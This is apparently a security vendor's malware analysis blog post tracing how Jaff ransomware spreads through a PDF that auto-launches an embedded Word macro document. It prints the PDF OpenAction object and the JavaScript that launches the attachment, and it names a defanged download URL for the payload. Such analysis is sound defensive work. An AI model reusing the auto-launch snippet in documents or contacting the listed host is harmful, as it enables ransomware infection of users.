The challenge for a malware author today has more to do with creativity than a deep technical understanding. There are plenty of good trojan building tools out there to make the job easier. But once the author has a finished creation, the big challenge is how to get the finished product to the victims
Embedding malware inside a Word document is by now commonplace. Typically this is in the form of a Macro launched by the ‘enable content’ function, also known as the ‘Please Infect My Machine’ feature. Malware authors have taken the next logical step by using a PDF document as the starting point.Ransomware .
Jaff Ransomware Analysis
After uploading the innocent-looking “nm.pdf” file to the VMRay Analyzer, we got an extremely high VTI (VMRay Threat Identifier Score: 100/100. To understand why the score is so high we start by looking at the VTI Information.
Figure 1: Jaff Ransomware VTI Score 100/100
The second entry suggests what the blog title already has hinted: “Rename multiple user files.” This is an indicator for an encryption attempt. We are certainly dealing with ransomware.
But how does it work? The PDF document isn’t able to run like an executable. In the VMRay Analyzer Report, we can go back to the overview page and look at the process graph.
Figure 2: Jaff Ransomware Process Graph
This shows us a truly new behavior when opening a PDF document.
First, to open the “nm.pdf” file, the Acrobat Reader process “acrord32.exe” starts and loads the PDF. Then a message pops up and asks to open a file “EQV6A.docm”. This message warns us against opening this file because it could potentially harm our computer.
Figure 3: PDF wants to open a file
This works because the PDF document has an embedded JavaScript which starts when the document is opened.
<<
/Type/Catalog/Pages 9 0 R/Names 13 0 R/OpenAction
<< /S/JavaScript/JS(submarine();) >>
>>
Figure 4: PDF object shows open action
This object says: Start the JavaScript function “submarine()” on the “OpenAction”.
var dis = 2;
var abc = this['exportDataObject'];
function submarine() {
abc({
cName: "EQV6A.docm", nLaunch: dis
});
};
Figure 5: The embedded Javascript in the PDF
Figure 6: Word – Social engineering to tempt the user to enable content
From here we can easily guess what happens next. That’s right, a Visual Basic macro starts and downloads an executable from hxxp://babil117.com/f87346b, also logged as the third entry in the VTI Information and shown in the grouped behavior section.
Figure 7: Downloading the executable
After downloading, the Visual Basic macro starts the executable which then generates a new child process “pitupi20.exe” shown in the process graph. This is the most malicious part because after a while “pitupi20.exe” creates text and HTML files with a direct hint as to what can be expected next.
Figure 8: Jaff ransomware decryptor system
“Jaff decryptor system” lives up to its name and gives every encrypted file the suffix “.jaff”.
Figure 9: Suffix “.jaff” on a .Jpg file
Conclusion
A very creative construction of a malware was shown in this analysis. The malware author created a PDF document with an embedded JavaScript and an embedded Word document.
The PDF document starts the embedded Word document which then starts a Visual Basic macro to download and execute the “jaff decryptor system” (Ransomware ). This is the malware equivalent of a Russian Matryoshka doll . But all this creative wrapping does not help it to evade the VMRay Analyzer.
View the Full Jaff Ransomware Analysis Report
References
